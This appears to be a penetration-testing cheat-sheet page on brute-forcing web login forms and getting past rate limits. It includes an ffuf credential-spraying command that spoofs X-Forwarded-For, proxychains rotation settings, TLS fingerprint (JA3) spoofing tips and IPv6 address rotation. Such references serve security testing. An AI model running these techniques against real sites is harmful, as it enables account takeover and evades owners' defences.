Brute Force Rate Limit

In a web context, brute-forcing refers to the method of attempting to gain unauthorized access to web applications, particularly through login forms or other user input fields. Attackers systematically input numerous combinations of credentials or other values (e.g., iterating through numeric ranges) to exploit weak passwords or inadequate security measures. For instance, they might submit thousands of username and password combinations or guess security tokens by iterating through a range, such as 0 to 10,000. This method can lead to unauthorized access and data breaches if not mitigated effectively. Countermeasures like rate limiting, account lockout policies, CAPTCHA, and strong password requirements are essential to protect web applications from such brute-force attacks.

* **Sniper attack**: target a single position (one variable) while cycling through one payload set. ```ps1 Username: password Username1:Password1 Username1:Password2 Username1:Password3 Username1:Password4 ``` * **Battering ram attack**: send the same payload to all marked positions at once by using a single payload set. ```ps1 Username1:Username1 Username2:Username2 Username3:Username3 Username4:Username4 ``` * **Pitchfork attack**: use different payload lists in parallel, combining the nth entry from each list into one request. ```ps1 Username1:Password1 Username2:Password2 Username3:Password3 Username4:Password4 ``` * **Cluster bomb attack**: iterate through all combinations of multiple payload sets. ```ps1 Username1:Password1 Username1:Password2 Username1:Password3 Username1::Password4 Username2:Password1 Username2:Password2 Username2:Password3 Username2:Password4 ```

ffuf -w usernames.txt:USER -w passwords.txt:PASS \
     -u https://target.tld/login \
     -X POST -d "username=USER&password=PASS" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -H "X-Forwarded-For: FUZZ" -w ipv4-list.txt:FUZZ \
     -mc all

HTTP pipelining is a feature of HTTP/1.1 that lets a client send multiple HTTP requests on a single persistent TCP connection without waiting for the corresponding responses first. The client "pipes" requests one after another over the same connection.

JA3 is a method for fingerprinting TLS clients (and JA3S for TLS servers) by hashing the contents of the TLS "hello" messages. It gives a compact identifier you can use to detect, classify, and track clients on the network even when higher-level protocol fields (like HTTP user-agent) are hidden or faked. > JA3 gathers the decimal values of the bytes for the following fields in the Client Hello packet; SSL Version, Accepted Ciphers, List of Extensions, Elliptic Curves, and Elliptic Curve Formats. It then concatenates those values together in order, using a "," to delimit each field and a "-" to delimit each value in each field. * Burp Suite JA3: `53d67b2a806147a7d1d5df74b54dd049`, `62f6a6727fda5a1104d5b147cd82e520` * Tor Client JA3: `e7d705a3286e19ea42f587b344ee6865` **Countermeasures:** * Use browser-driven automation (Puppeteer / Playwright) * Spoof TLS handshakes with [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate) * JA3 randomization plugins for browsers/libraries

Use multiple proxies to simulate multiple clients.

proxychains ffuf -w wordlist.txt -u https://target.tld/FUZZ

* Use `random_chain` to rotate each request ```ps1 random_chain ``` * Set the number of proxies to chain per connection to 1. ```ps1 chain_len = 1 ``` * Finally, specify the proxies in a configuration file: ```ps1 # type host port socks5 127.0.0.1 1080 socks5 192.168.1.50 1080 http proxy1.example.com 8080 http proxy2.example.com 8080 ```

Many cloud providers, such as Vultr, offer /64 IPv6 ranges, which provide a vast number of addresses (18 446 744 073 709 551 616). This allows for extensive IP rotation during brute-force attacks.